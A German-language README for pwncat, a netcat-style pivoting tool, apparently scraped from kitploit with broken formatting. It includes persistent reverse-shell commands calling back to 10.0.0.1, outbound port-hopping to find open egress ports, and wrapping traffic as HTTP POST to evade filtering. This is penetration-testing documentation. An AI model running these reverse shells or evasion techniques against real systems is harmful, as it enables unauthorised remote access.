Starting pwncat rev shell: nohup /usr/bin/python /tmp/tmp3CJ8Us --exec /bin/bash --reconn --reconn-wait 1 10.0.0.1 4448 &

Protokollierung

Hinweis: Stellen Sie sicher, dass Sie eine Reverse-Shell haben, die immer wieder zu Ihnen zurückkommt. Auf diese Weise können Sie jederzeit Ihre Protokollierungseinstellungen ändern, ohne die Shell zu verlieren.

Protokollierungsstufe und Umleitung

Wenn Sie möchten, können Sie einen Listener im vollständigen TRACE-Protokollierungsmodus starten, um herauszufinden, was passiert, oder einfach zur Fehlerbehebung. Protokollmeldungen werden je nach Schweregrad farblich gekennzeichnet. Farben werden automatisch deaktiviert, wenn stderr kein pty ist, z. B.: wenn diese in eine Datei umgeleitet werden. Sie können die farbige Protokollierung für Terminalausgaben auch manuell über den Schalter --color deaktivieren.```bash pwncat -vvvv -l 4444

root@kitploit:~
Sie werden (unter all dem Unsinn) eine TRACE-Nachricht sehen:```bash
2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744'
2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744
2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n'
2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining)
2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

Sobald Sie dies auf dem Listener sehen, können Sie Befehle an den Client senden. Die Debug-Meldungen sind ebenfalls nicht erforderlich, sodass Sie Ihren Server sicher mit Strg+c beenden und im stillen Modus neu starten können:```bash pwncat -l 4444

root@kitploit:~
Warten Sie nun maximal ein paar Sekunden, je nachdem, in welchem Intervall der Client zu Ihnen zurückkommt, und voilà, Ihre Sitzung ist nun wieder ohne Logs.

Auch gar keine Informationsmeldungen zu haben, ist manchmal nicht wünschenswert. Vielleicht möchten Sie wissen, was hinter den Kulissen vor sich geht,
oder? Beenden Sie Ihren Server sicher mit <kbd>Ctrl</kbd>+<kbd>c</kbd> und leiten
Sie die Benachrichtigungen in eine Logdatei um:```bash
pwncat -l -vvv 4444 2> comm.txt

Jetzt sehen Sie in Ihrer Terminalsitzung nur noch die tatsächlichen Befehlseingaben und -ausgaben. Wenn Sie sehen möchten, was im Hintergrund passiert, öffnen Sie ein zweites Terminalfenster und führen Sie tail auf der Datei comm.txt aus:```bash

View communication info

tail -fn50 comm.txt

2020-05-11 08:40:57,927 DEBUG NetcatServer.receive(): 'Client connected: 127.0.0.1:46744' 2020-05-11 08:40:57,927 TRACE [STDIN] 1854:producer(): Command output: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 TRACE [STDIN] 2047:run_action(): [STDIN] Producer received: '\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 815:send(): Trying to send 15 bytes to 127.0.0.1:46744 2020-05-11 08:40:57,927 TRACE [STDIN] 817:send(): Trying to send: b'\x1b[32m[0]\x1b[0m\r\r\n' 2020-05-11 08:40:57,927 DEBUG [STDIN] 834:send(): Sent 15 bytes to 127.0.0.1:46744 (0 bytes remaining) 2020-05-11 08:40:57,928 TRACE [STDIN] 1852:producer(): Reading command output

root@kitploit:~
#### Socket-Informationen

Eine weitere nützliche Funktion ist die Anzeige der aktuell konfigurierten Socket- und Netzwerkeinstellungen.
Verwenden Sie den Schalter `--info` mit `socket`, `ipv4`, `ipv6`, `tcp` oder `all`, um alle verfügbaren Einstellungen anzuzeigen.

**Hinweis:** Um diese Einstellungen anzuzeigen, müssen Sie mindestens die `INFO`-Protokollebene (`-vv`) eingestellt haben.

Ein Beispiel für die Ausgabe im IPv4/TCP-Modus ohne benutzerdefinierte Einstellungen ist unten dargestellt:```
INFO: [bind-sock] Sock: SO_DEBUG: 0
INFO: [bind-sock] Sock: SO_ACCEPTCONN: 1
INFO: [bind-sock] Sock: SO_REUSEADDR: 1
INFO: [bind-sock] Sock: SO_KEEPALIVE: 0
INFO: [bind-sock] Sock: SO_DONTROUTE: 0
INFO: [bind-sock] Sock: SO_BROADCAST: 0
INFO: [bind-sock] Sock: SO_LINGER: 0
INFO: [bind-sock] Sock: SO_OOBINLINE: 0
INFO: [bind-sock] Sock: SO_REUSEPORT: 0
INFO: [bind-sock] Sock: SO_SNDBUF: 16384
INFO: [bind-sock] Sock: SO_RCVBUF: 131072
INFO: [bind-sock] Sock: SO_SNDLOWAT: 1
INFO: [bind-sock] Sock: SO_RCVLOWAT: 1
INFO: [bind-sock] Sock: SO_SNDTIMEO: 0
INFO: [bind-sock] Sock: SO_RCVTIMEO: 0
INFO: [bind-sock] Sock: SO_ERROR: 0
INFO: [bind-sock] Sock: SO_TYPE: 1
INFO: [bind-sock] Sock: SO_PASSCRED: 0
INFO: [bind-sock] Sock: SO_PEERCRED: 0
INFO: [bind-sock] Sock: SO_BINDTODEVICE: 0
INFO: [bind-sock] Sock: SO_PRIORITY: 0
INFO: [bind-sock] Sock: SO_MARK: 0
INFO: [bind-sock] IPv4: IP_OPTIONS: 0
INFO: [bind-sock] IPv4: IP_HDRINCL: 0
INFO: [bind-sock] IPv4: IP_TOS: 0
INFO: [bind-sock] IPv4: IP_TTL: 64
INFO: [bind-sock] IPv4: IP_RECVOPTS: 0
INFO: [bind-sock] IPv4: IP_RECVRETOPTS: 0
INFO: [bind-sock] IPv4: IP_RETOPTS: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_IF: 0
INFO: [bind-sock] IPv4: IP_MULTICAST_TTL: 1
INFO: [bind-sock] IPv4: IP_MULTICAST_LOOP: 1
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_TTL: 0
INFO: [bind-sock] IPv4: IP_DEFAULT_MULTICAST_LOOP: 0
INFO: [bind-sock] IPv4: IP_MAX_MEMBERSHIPS: 0
INFO: [bind-sock] IPv4: IP_TRANSPARENT: 0
INFO: [bind-sock] TCP: TCP_NODELAY: 0
INFO: [bind-sock] TCP: TCP_MAXSEG: 536
INFO: [bind-sock] TCP: TCP_CORK: 0
INFO: [bind-sock] TCP: TCP_KEEPIDLE: 7200
INFO: [bind-sock] TCP: TCP_KEEPINTVL: 75
INFO: [bind-sock] TCP: TCP_KEEPCNT: 9
INFO: [bind-sock] TCP: TCP_SYNCNT: 6
INFO: [bind-sock] TCP: TCP_LINGER2: 60
INFO: [bind-sock] TCP: TCP_DEFER_ACCEPT: 0
INFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0
INFO: [bind-sock] TCP: TCP_INFO: 10
INFO: [bind-sock] TCP: TCP_QUICKACK: 1
INFO: [bind-sock] TCP: TCP_FASTOPEN: 0

Port-Weiterleitungs-Magie

Lokale TCP-Port-Weiterleitung

Szenario

  1. Alice kann von außen erreicht werden (TCP/UDP)
  2. Bob kann nur von Alices Maschine aus erreicht werden``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | -----|----> | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat 72.0.0.1 3306 | pwncat \ | | -L 72.0.0.1:3306 \ | | 10.0.0.1 3306 |
root@kitploit:~
#### Lokale UDP-Portweiterleitung

**Szenario**
1. Alice kann von außen erreicht werden (jedoch nur per UDP)
2. Bob kann nur von Alices Maschine aus erreicht werden```
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | -----|----> | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat -L       |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u 72.0.0.1 3306  |      pwncat -u \              |
                              |        -L 72.0.0.1:3306 \     |
                              |        10.0.0.1 3306          |

Remote TCP-Portweiterleitung

Szenario

  1. Alice kann von außen nicht erreicht werden
  2. Alice darf sich mit der Außenwelt verbinden (TCP/UDP)
  3. Bob kann nur von Alices Maschine aus erreicht werden``` | | Outside | DMZ | private subnet | | | | +-----------------+ TCP +-----------------+ TCP +-----------------+ | The cat | <----|----- | Alice | -----|----> | Bob | | | | | pwncat | | | MySQL | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | +-----------------+ | +-----------------+ | +-----------------+ pwncat -l 4444 | pwncat --reconn \ | | -R 56.0.0.1:4444 \ | | 10.0.0.1 3306 |
root@kitploit:~
#### Remote UDP-Portweiterleitung

**Szenario**
1. Alice kann von außen nicht erreicht werden
2. Alice darf eine Verbindung nach außen herstellen (UDP: nur DNS)
3. Bob kann nur von Alices Maschine aus erreicht werden```
                              |                               |
        Outside               |           DMZ                 |        private subnet
                              |                               |
                              |                               |
     +-----------------+     UDP     +-----------------+     TCP     +-----------------+
     | The cat         | <----|----- | Alice           | -----|----> | Bob             |
     |                 |      |      | pwncat          |      |      | MySQL           |
     | 56.0.0.1        |      |      | 72.0.0.1:3306   |      |      | 10.0.0.1:3306   |
     +-----------------+      |      +-----------------+      |      +-----------------+
     pwncat -u -l 53          |      pwncat -u --reconn \     |
                              |        -R 56.0.0.1:4444 \     |
                              |        10.0.0.1 3306          |

Outbound-Port-Hopping

Wenn Sie keine Ahnung haben, welche ausgehenden Ports vom Zielrechner erlaubt sind, können Sie den Client (z.B.: bei einer Reverse Shell) anweisen, endlos ausgehende Ports zu testen.```bash

Reverse shell on target (the client)

--exec # The command shell the client should provide

--reconn # Instruct it to reconnect endlessly

--reconn-wait # Reconnect every 0.1 seconds

--reconn-robin # Use these ports to probe for outbount connections

pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53

root@kitploit:~
Sobald der Client läuft, verwenden Sie entweder raw sockets, um eingehenden Datenverkehr zu prüfen, oder etwas wie Wireshark oder tcpdump, um herauszufinden, von wo aus der Client eine Verbindung zu Ihnen herstellen kann.

Wenn Sie einen oder mehrere Ports gefunden haben, über die der Client eine Verbindung zu Ihnen herstellen kann, starten Sie einfach Ihren Listener lokal und warten Sie, bis die Verbindung zustande kommt.```bash
pwncat -l <ip> <port>

Wenn der Client eine Verbindung zu dir herstellt, hast du eine funktionierende Reverse Shell. Wenn du deinen lokalen Listener-Server versehentlich oder absichtlich stoppst, wird der Client die Ports erneut abfragen, bis er erfolgreich eine Verbindung herstellt. Um den Reverse-Shell-Client zu beenden, kannst du --safe-word verwenden (beim Starten des Clients).

Wenn all dies nicht gelingt, kannst du weitere Maßnahmen ergreifen, wie z. B. die Verwendung von UDP oder sogar das Verpacken deiner Pakete in höhere Protokolle wie HTTP oder andere. Siehe PSE oder die Beispiele unten, um zu erfahren, wie du deinen Datenverkehr transformieren kannst.

Pwncat Scripting Engine (PSE)

pwncat bietet eine Python-basierte Scripting-Engine, um deinen benutzerdefinierten Code vor dem Senden und nach dem Empfangen von Daten einzufügen.

Wie es funktioniert

Du musst einfach eine Python-Datei mit der folgenden Einstiegsfunktion bereitstellen:```python def transform(data, pse): # Example to reverse a string return data[::-1]

root@kitploit:~
Beide, der Funktionsname muss `transform` heißen und die geparsten Argumente müssen `data` und `pse` heißen.
Ansonsten können Sie so viel Code hinzufügen, wie Sie möchten. Jede Instanz von `pwncat` kann zwei Skripte entgegennehmen:

1. `--script-send`: Skript wird vor dem Senden angewendet
2. `--script-recv`: Skript wird nach dem Empfang angewendet

Siehe [hier](https://github.com/cytopia/pwncat/blob/HEAD/pse) für die API und weitere Details


#### Beispiel 1: Selbstgebaute asymmetrische Verschlüsselung

> PSE: [asym-enc](https://github.com/cytopia/pwncat/blob/HEAD/pse/asym-enc) Quellcode

Dies wird Ihren Datenverkehr asymmetrisch verschlüsseln. Es ist nur eine sehr einfache [ROT13](https://en.wikipedia.org/wiki/ROT13)-Implementierung mit unterschiedlichen Verschiebungslängen auf beiden Seiten, um Asymmetrie zu *emulieren*. Sie könnten dasselbe tun und eine GPG-basierte asymmetrische Verschlüsselung für PSE implementieren.```bash
# server
pwncat -vvvv -l localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-server_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-server_recv.py
root@kitploit:~
# client
pwncat -vvvv localhost 4444 \
  --script-send pse/asym-enc/pse-asym_enc-client_send.py \
  --script-recv pse/asym-enc/pse-asym_enc-client_recv.py

Beispiel 2: Selbst gebauter HTTP-POST-Wrapper

PSE: http-post Quellcode

Dies wird den gesamten Datenverkehr in eine gültige HTTP-POST-Anfrage verpacken, sodass er wie normaler HTTP-Verkehr aussieht.```bash

server

pwncat -vvvv -l localhost 4444
--script-send pse/http-post/pse-http_post-pack.py
--script-recv pse/http-post/pse-http_post-unpack.py

root@kitploit:~
```bash
# client
pwncat -vvvv localhost 4444 \
  --script-send pse/http-post/pse-http_post-pack.py \
  --script-recv pse/http-post/pse-http_post-unpack.py

Port-Scannen

TCP```bash

$ sudo netstat -tlpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN tcp6 0 0 ::1:631 :::* LISTEN tcp6 0 0 ::1:25 :::* LISTEN tcp6 0 0 ::1:4444 :::* LISTEN tcp6 0 0 :::1053 :::* LISTEN tcp6 0 0 :::902 :::* LISTEN

root@kitploit:~
#### UDP
Die folgenden UDP-Ports sind offen:```bash
$ sudo netstat -ulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address
udp        0      0 0.0.0.0:631             0.0.0.0:*
udp        0      0 0.0.0.0:5353            0.0.0.0:*
udp        0      0 0.0.0.0:39856           0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp        0      0 0.0.0.0:68              0.0.0.0:*
udp6       0      0 :::1053                 :::*
udp6       0      0 :::5353                 :::*
udp6       0      0 :::57728                :::*
nmap```bash

$ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST Warning: 127.0.0.1 giving up on port because retransmission cap hit (2). Nmap scan report for localhost (127.0.0.1) Host is up (0.000035s latency). Other addresses for localhost (not scanned): ::1 Not shown: 65529 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 631/udp open|filtered ipp 1053/udp open|filtered remote-as 5353/udp open|filtered zeroconf 39856/udp open|filtered unknown 40488/udp open|filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds

real 2m52.446s user 0m0.844s sys 0m2.571s

root@kitploit:~
##### netcat```bash
$ time nc  -z localhost 1-65535  -u -4 -v
Connection to localhost 68 port [udp/bootpc] succeeded!
Connection to localhost 631 port [udp/ipp] succeeded!
Connection to localhost 1053 port [udp/*] succeeded!
Connection to localhost 5353 port [udp/mdns] succeeded!
Connection to localhost 39856 port [udp/*] succeeded!

real    0m18.734s
user    0m1.004s
sys     0m2.634s
pwncat```bash

$ time pwncat -z localhost 1-65535 -u -4 Scanning 65535 ports [+] 68/UDP open (IPv4) [+] 631/UDP open (IPv4) [+] 1053/UDP open (IPv4) [+] 5353/UDP open (IPv4) [+] 39856/UDP open (IPv4)

real 0m7.309s user 0m6.465s sys 0m4.794s

root@kitploit:~
## :information_source: FAQ

**Die vollständige FAQ findest du hier:** https://docs.pwncat.org/en/latest/faq.html

**F**: Ist `pwncat` kompatibel mit `netcat`?

**A**: Ja, es ist vollständig kompatibel in der Art und Weise, wie es sich im Connect-, Listen- und Zero-I/O-Modus verhält. Du kannst `pwncat` sogar mit `netcat`, `ncat` oder ähnlichen Werkzeugen mischen.


**F**: Funktioniert es auf X?

**A**: Im aktuellen Zustand funktioniert es mit Python 2, 3, pypy2 und pypy3 und ist vollständig auf Linux und MacOS getestet. Windows-Unterstützung ist verfügbar, gilt aber als experimentell (siehe [Integrationstests](https://github.com/cytopia/pwncat/actions)).


**F**: Ich habe einen Fehler gefunden / ich möchte eine neue Funktion vorschlagen! Was kann ich tun?

**A**: Bitte öffne für Fehlermeldungen oder Verbesserungsvorschläge ein Issue [hier](https://github.com/cytopia/pwncat/issues).


**F**: Wie kann ich dieses Projekt unterstützen?

**A**: Danke für die Frage! Als erstes, gib diesem Projekt einen Stern, um mir Feedback zu geben, und siehe [CONTRIBUTING.md](https://github.com/cytopia/pwncat/blob/HEAD/CONTRIBUTING.md) für Details.


## :sunrise: Artwork

<table>
 <thead>
  <tr>
   <th>Typ</th>
   <th>Künstler</th>
   <th>Bild</th>
   <th>Lizenz</th>
  </tr>
 </thead>
 <tbody>
  <tr>
   <td>Logo</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="art/logo.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/a1b54927c2019b933f6e456079c612aff45d525e69c6058199d8fe049916146f.png" style="height:128px;" height="128" alt="pwncat Logo" title="pwncat Logo" /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" alt="Creative Commons Namensnennung-Weitergabe unter gleichen Bedingungen 4.0 International Lizenz" /></a></td>
  </tr>
  <tr>
   <td>Banner 1</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="art/banner-1.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/51461eddf94bb0ed53b8d28478113978cf87ea31e645b2afc8e1783053e8bafc.png" style="height:128px;" height="128" alt="pwncat Banner" title="pwncat Banner"  /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" alt="Creative Commons Namensnennung-Weitergabe unter gleichen Bedingungen 4.0 International Lizenz" /></a></td>
  </tr>
  <tr>
   <td>Banner 2</td>
   <td><a href="https://github.com/maifz">maifz</a></td>
   <td><a href="art/banner-2.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/1deb2e118b970b2b974f682e9ef087bbc5cc9c18674b5d4cbbdf967885d119c9.png" style="height:128px;" height="128" alt="pwncat Banner" title="pwncat Banner" /></a></td>
   <td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" alt="Creative Commons Namensnennung-Weitergabe unter gleichen Bedingungen 4.0 International Lizenz" /></a></td>
  </tr>
 </tbody>
</table>


## :lock: [cytopia](https://github.com/cytopia) Sicherheitswerkzeuge

Unten ist eine Liste von Sicherheitswerkzeugen und Dokumentationen, die ich pflege.

| Name                 | Kategorie             | Sprache   | Beschreibung |
|----------------------|----------------------|------------|-------------|
| **[offsec]**         | Dokumentation        | Markdown   | Offsec-Checkliste, Werkzeuge und Beispiele |
| **[header-fuzz]**    | Enumeration          | Bash       | Fuzze HTTP-Header |
| **[smtp-user-enum]** | Enumeration          | Python 2+3 | SMTP-Benutzer-Enumerator |
| **[urlbuster]**      | Enumeration          | Python 2+3 | Mutierbarer Webverzeichnis-Fuzzer |
| **[pwncat]**         | Pivoting             | Python 2+3 | Plattformübergreifendes netcat auf Steroiden |
| **[kusanagi]**       | Payload-Generator    | Python 3   | Bind- und Reverse-Shell-Payload-Generator |
| **[badchars]**       | Reverse Engineering  | Python 2+3 | Badchar-Generator |
| **[fuzza]**          | Reverse Engineering  | Python 2+3 | TCP-Fuzzing-Werkzeug |
| **[docker-dvwa]**    | Spielplatz           | PHP        | DVWA mit lokalen Privilegieneskalations-Herausforderungen |

[offsec]: https://github.com/cytopia/offsec
[header-fuzz]: https://github.com/cytopia/header-fuzz
[smtp-user-enum]: https://github.com/cytopia/smtp-user-enum
[urlbuster]: https://github.com/cytopia/urlbuster
[pwncat]: https://github.com/cytopia/pwncat
[kusanagi]: https://github.com/cytopia/kusanagi
[badchars]: https://github.com/cytopia/badchars
[fuzza]: https://github.com/cytopia/fuzza
[docker-dvwa]: https://github.com/cytopia/docker-dvwa


## :octocat: Mitwirken

Siehe **[Mitwirkungsrichtlinien](https://github.com/cytopia/pwncat/blob/HEAD/CONTRIBUTING.md)** um zur Verbesserung dieses Projekts beizutragen.


## :exclamation: Haftungsausschluss

Dieses Werkzeug darf nur für legale Zwecke verwendet werden. Benutzer übernehmen die volle Verantwortung für alle mit diesem Werkzeug durchgeführten Aktionen. Der Autor übernimmt keine Haftung für Schäden, die durch dieses Werkzeug verursacht werden. Wenn diese Bedingungen für dich nicht akzeptabel sind, dann verwende dieses Werkzeug nicht.


## :page_facing_up: Lizenz

**[MIT License](https://github.com/cytopia/pwncat/blob/HEAD/LICENSE.txt)**

Urheberrecht (c) 2020 **[cytopia](https://github.com/cytopia)**